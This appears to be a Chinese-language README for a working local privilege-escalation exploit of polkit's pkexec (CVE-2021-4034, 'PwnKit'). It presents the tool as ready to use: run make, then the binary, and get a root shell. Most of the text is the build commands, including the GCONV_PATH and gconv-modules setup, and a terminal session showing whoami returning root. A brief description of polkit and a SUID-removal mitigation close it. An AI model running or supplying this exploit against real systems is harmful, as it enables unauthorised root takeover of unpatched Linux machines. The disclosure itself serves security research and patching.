polkit 权限提升漏洞利用程序
只需执行 make、./cve-2021-4034,即可获得 root shell。
来自我的 Qualys 团队的原始公告在这里
如果漏洞利用成功,你将立即获得 root shell:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
在大多数系统上更新 polkit 将修补该漏洞,因此你将看到用法说明并且程序将退出:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit(原名 PolicyKit)是用于控制类 Unix 操作系统中系统级权限的组件。它为无特权进程与特权进程之间的通信提供了一种有组织的方式。也可以使用 polkit 通过 pkexec 命令以提升的权限执行命令,后面跟上要执行的命令(以 root 权限)。
如果你的操作系统没有可用的补丁,你可以移除 pkexec 的 SUID 位作为临时缓解措施。
# chmod 0755 /usr/bin/pkexec